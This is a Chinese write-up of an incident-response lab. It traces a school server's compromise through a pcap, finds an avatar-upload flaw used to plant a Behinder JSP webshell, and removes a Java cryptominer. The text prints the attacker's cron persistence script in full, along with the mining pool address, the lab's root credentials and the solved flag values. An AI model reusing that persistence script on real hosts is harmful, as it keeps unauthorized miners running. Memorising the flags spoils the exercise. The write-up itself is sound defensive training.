挖矿 - 学校挖矿排查

[!Note]

参考文章链接(州弟学安全):https://mp.weixin.qq.com/s/xIh4NukshMVEIuQzuu4rbw

完全仿真了某学校长期未运营维护的程序,被黑客发现了漏洞,但好在学校有全流量设备,抓取到了过程中的流量包,需要你进行上机以及结合流量分析,排查攻击者利用的漏洞以及上传利用成功的木马,以及清除掉攻击者上传的挖矿程序以及后门程序,挖矿环境完全还原了真实环境,但不会出网,比较有意义,清除做了 check 操作,你只需要按照相关题目引导进行清除,在指定目录下查看 flag 提交即可,流量包在远程登录成功后的 /hacker 2025.pcap。

流量包下载地址:https://pan.baidu.com/s/1csa2_5L0w1zj8HmwNplSrg?pwd=74hq

已知信息如下:

  • 被攻击机 IP 地址:192.168.37.11
  • SSH 远程端口:2222
  • 账号密码:root/edusec123
  • Web 端口:19999

需要访问和流量进行还原攻击者路径,在注册账号登录成功后,下载首页的应急响应报告模板进行复现描述攻击过程以及加固流程。

需要获取到如下内容:

  • 使用工具分析共有多少 IP 存在扫描 Web 特征,提交其数量。
  • 将在 2025.6.22 17:03:27 时 192.168.37.10:55689 端口进行访问的 URL 地址记录,以 flag 方式进行提交。
  • 提交存在使用 NMAP 扫描特征的 IP 地址。
  • 审计流量并结合 Web 站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口。
  • 审计流量并结合 Web 站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名。
  • 审计流量并结合漏洞,提交攻击者控制成功木马文件名。
  • 审计流量并清除掉攻击者上传的木马,清除成功后在 /var/flag/1/flag 中查看 flag 并提交。
  • 黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址。
  • 清除掉主机上的挖矿木马,完成后在 /var/flag/2/flag 文件中查看 flag 并提交。
  • 黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径。
  • 清除掉后门挖矿程序,在 /var/flag/3/flag 下查看提交 flag。

1 Flag-1

[!Note]

使用工具分析共有多少 IP 存在扫描 Web 特征,提交其数量。

下载 hacker 2025.pcap 流量包进行分析,可以看到流量包还是蛮大的:

image-20260103160240899

使用 WireShare 打开统计 IP 地址情况:

image-20260103160536850

image-20260103160552770

IP 地址蛮多的,根据题意,存在扫描 Web 站点的操作,那既然是扫描,那肯定会出现大量的访问链接和不同的 HTTP 状态码(200、403、404、500 等)。使用如下命令筛选:

1
http.response.code == 404

image-20260103163511983

这里就能看到相关的 IP 地址了,除去零散 Count 共计 29 个 IP。

这里作者还用到了 Zui 这个工具,这里试试看。

使用 brimcap.exe 将 pacp 包导出为 ZNG 文件:

1
brimcap.exe analyze hacker2025.pcap > hacker2025.zng

image-20260103161454489

将 ZNG 文件导入到 Zui 中:

image-20260103161609102

image-20260103161625283

image-20260103161644323

使用如下命令筛选:

1
2
3
where status_code == 404
| count() by id.orig_h, id.resp_h, status_code
| sort -r count

image-20260103164343823

2 Flag-2

[!Note]

将在 2025.6.22 17:03:27 时 192.168.37.10:55689 端口进行访问的 URL 地址记录,以 flag 方式进行提交。

根据题意还是有点麻烦的,不太会写,直接丢给豆包(Zui 要将时区改为 Asia / Shanghai):

1
2
3
4
5
6
7
8
9
# WireShare
ip.src == 192.168.37.10 && tcp.srcport == 55689 && frame.time >= "Jun 22, 2025 17:03:26" && frame.time <= "Jun 22, 2025 17:03:28" && http

# Zui
where id.orig_h == 192.168.37.10
| _path == "http"
| ts >= 2025-06-22T17:03:26.000+08:00
| ts <= 2025-06-22T17:03:28.000+08:00
| id.orig_p == 55689

image-20260103201728253

image-20260103201845750

看文件路径,比较像 flag 的就是:/uploads/06853c4f-8b05-4949-90ae-9adc49f27a94.jsp

3 Flag-3

[!Note]

提交存在使用 NMAP 扫描特征的 IP 地址。

根据题意需要找出 Nmap 扫描攻击者地址,那其实有两种思路:

  • 攻击者批量扫描端口。
  • 攻击者没有修改 User-Agent 特征,根据 UA 特征判断(HTTP 协议才有 UA)。

直接丢给豆包:

1
2
3
4
5
6
7
8
9
10
11
12
13
# WireShare Scan-Port,这里默认是 SYN 扫描
ip.dst == 192.168.37.11 and (tcp or udp) and tcp.flags.syn == 1

# WireShare User-Agent
http.user_agent contains "Nmap"

# Zui Scan-Port
where _path == "conn"
| id.resp_h == 192.168.37.11
| count(id.orig_p) by id.orig_h, id.resp_h
| sort -r count

# Zui User-Agent,怎么弄 User-Agent 都匹配不上

image-20260103204724456

image-20260103204222615

image-20260103202800982

根据上述结果,Zui 还是比较直观的,所以 Nmap 扫描的 IP 地址是:192.68.37.4。

4 Flag-4

[!Note]

审计流量并结合 Web 站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口。

刚刚在招 Flag-2 的时候,可以发现有个 06853c4f-8b05-4949-90ae-9adc49f27a94.jsp 文件,使用 Zui 的排查一下对方的访问 IP 地址:

1
2
3
4
where _path == "http"
| id.resp_h == 192.168.37.11
| uri == "/uploads/06853c4f-8b05-4949-90ae-9adc49f27a94.jsp"
| count() by id.orig_h

image-20260103205247693

这个次数明显不对,改名了?接着找:

1
2
3
4
5
where _path == "http"
| id.resp_h == 192.168.37.11
| id.orig_h == 192.168.37.10
| count() by id.orig_h,uri
| sort -r count

image-20260103205357677

还真改了,那对方怎么传的呢?图中可以看到有个 /servlet/user/profile?uploadSuccess=true 地址,但 Zui 看不了包的具体内容,使用 WireShare 筛选一下:

1
ip.src == 192.168.37.10 && http.request.uri == "/servlet/user/profile?uploadSuccess=true"

image-20260103205631845

追踪一下 HTTP 流,一眼丁真,看到了 rebeyond,那就是冰蝎 JSP 木马:

image-20260103205756069

在上述报文中可以发现,上传文件名为 shell.jsp,上传成功后 302 跳转到 /servlet/user/profile?uploadSuccess=true。这里上传的接口是 /servlet/user/uploadAvatar,那大概率是存在任意文件上传漏洞了,因为也没做啥绕过操作,直勾勾上传。

5 Flag-5

[!Note]

审计流量并结合 Web 站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名。

通过之前的分析(Zui),对方登录的 URI 是 /servlet/user/login 使用 WireShare 筛选一下:

1
ip.src == 192.168.37.10 && http.request.uri == "/servlet/user/login"

image-20260103210154139

两个打开看看:

image-20260103210310402

image-20260103210357236

第一个包使用 username=wangyunqing&password=wangyunqing 但没登录成功,第二包使用 username=wangyunqing&password=wangyunqing 123 出现了 302 跳转。

那么可以知道这里的攻击者注册用户名为:wangyunqing

6 Flag-6

[!Note]

审计流量并结合漏洞,提交攻击者控制成功木马文件名。

这个其实已经找到了:

1
2
3
4
5
where _path == "http"
| id.resp_h == 192.168.37.11
| id.orig_h == 192.168.37.10
| count() by id.orig_h,uri
| sort -r count

image-20260103205357677

上传的文件为:70 b 86 b 64-ce 15-46 bf-8095-4764809 e 2 ee 5.jsp

可以在 WireShare 看看:

1
ip.src == 192.168.37.10 && http.request.uri == "/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp"

image-20260103210832647

可以随便挑一个报文出来用 ABC_123 大佬的工具看看内容:

image-20260103211307825

7 Flag-7

[!Note]

审计流量并清除掉攻击者上传的木马,清除成功后在 /var/flag/1/flag 中查看 flag 并提交。

这里开始就必须要开启靶机了。

刚刚不是找到了两个对方上传的两个文件名,直接 find 找一下:

1
2
root@1818c9e077a4:~# find / -name 06853c4f-8b05-4949-90ae-9adc49f27a94.jsp 2>/dev/null
root@1818c9e077a4:~# find / -name 70b86b64-ce15-46bf-8095-4764809e2ee5.jsp 2>/dev/null

发现这俩都找不到,要么是攻击者又改了,要么是访问的文件名被后端处理过,这里直接模糊查询:

1
2
root@1818c9e077a4:~# find / -name *4764809e2ee5.jsp 2>/dev/null
/var/lib/tomcat9/webapps/ROOT/uploads/70b86b64-002dce15-002d46bf-002d8095-002d4764809e2ee5.jsp

image-20260103211841703

找到了就直接删除:

1
root@1818c9e077a4:~# rm -rf /var/lib/tomcat9/webapps/ROOT/uploads/70b86b64-002dce15-002d46bf-002d8095-002d4764809e2ee5.jsp

然后查看 /var/flag/1/flag 文件:

1
2
root@1818c9e077a4:~# cat /var/flag/1/flag
flag{1979c46c2af37dc62a4b05881e816995}

8 Flag-8

[!Note]

黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址。

既然被挖矿了,大概率 CPU 是被跑满了,直接 top -c 看一眼:

image-20260103212017689

这个个 Java 程序大概率就是了,可以看到其执行的命令:

1
java -jar /tmp/miner.jar

文件在 /tmp 目录下,直接下载下来使用 jd-gui 工具进行反编译 jar 包:

image-20260103212228044

在 Miner 类中定义了矿池地址和钱包地址:

  • 矿池地址:pool.minexmr.com:4444

  • 钱包地址:47 k 4 bAn 5 yK 2 t 4 n 2 e 4 B 2 u 2 t 4 n 2 e 4 B 2 u 2 t 4 n 2 e 4 B 2 u 2 t 4 n 2 e 4 B 2 u 2 t 4 n 2 e 4 B 2 u 2 t 4 n 2 e 4 B 2 u 2 t 4 n 2 e 4 B 2 u 2 t 4 n 2 e 4 B 2 u

当然也可以直接丢到微步云沙箱里:

image-20260103215446312

image-20260103215505621

9 Flag-9

[!Note]

清除掉主机上的挖矿木马,完成后在 /var/flag/2/flag 文件中查看 flag 并提交。

既然已经找到了矿池程序了,删除挖矿木马文件,直接 kill 掉这个进程:

1
2
3
root@1818c9e077a4:~# rm -rf /tmp/miner.jar
root@1818c9e077a4:~# kill -9 1052
root@1818c9e077a4:~# ps -elf

image-20260103212405431

删除文件且杀掉进程成功,查看 /var/flag/2/flag

1
2
root@1818c9e077a4:~# cat /var/flag/2/flag
flag{da236fe0cda81bfc03d022799589110e}

10 Flag-10

[!Note]

黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径。

再次使用 top -c 看看:

image-20260103212612515

发现程序又起来了,大概率是做了定时执行,看看定时计划:

1
2
root@1818c9e077a4:~# crontab -l
* * * * * /usr/share/.per/persistence.sh

image-20260103212651956

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/bash

SOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"


if pgrep -f "$PROCESS_NAME" > /dev/null; then

exit 0
else

echo "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"


if [ ! -f "$DEST_FILE" ]; then
echo "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"

cp "$SOURCE_FILE" "$DEST_FILE"
chmod +x "$DEST_FILE"
fi


if [ -f "$DEST_FILE" ]; then
nohup java -jar "$DEST_FILE" > /dev/null 2>&1 &
echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"
else

echo "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"
fi
fi

可以看到两个文件路径:

  • SOURCE_FILE="/usr/share/.miner/miner.jar"
  • DEST_FILE="/tmp/miner.jar"

使用 crontab 删除改计划:

1
2
3
root@1818c9e077a4:~# crontab -e
crontab: installing new crontab
root@1818c9e077a4:~# crontab -l

11 Flag-11

[!Note]

清除掉后门挖矿程序,在 /var/flag/3/flag 下查看提交 flag。

现在只清除了计划任务,其他的也要删除:

1
2
3
4
root@1818c9e077a4:~# rm -rf /usr/share/.per/persistence.sh
root@1818c9e077a4:~# rm -rf /usr/share/.miner/miner.jar
root@1818c9e077a4:~# rm -rf /tmp/miner.jar
root@1818c9e077a4:~# kill -9 13908

image-20260103212920503

image-20260103212934499

全删完了查看 flag 内容:

1
2
root@1818c9e077a4:~# cat /var/flag/3/flag
flag{27bd067769b51ed71f899c7a6f08af2c}

最后看看 Web 界面,用之前拿到的账号密码登录一下:

image-20260103213425456

image-20260103213458205

头像位置的任意文件上传:

image-20260103213514201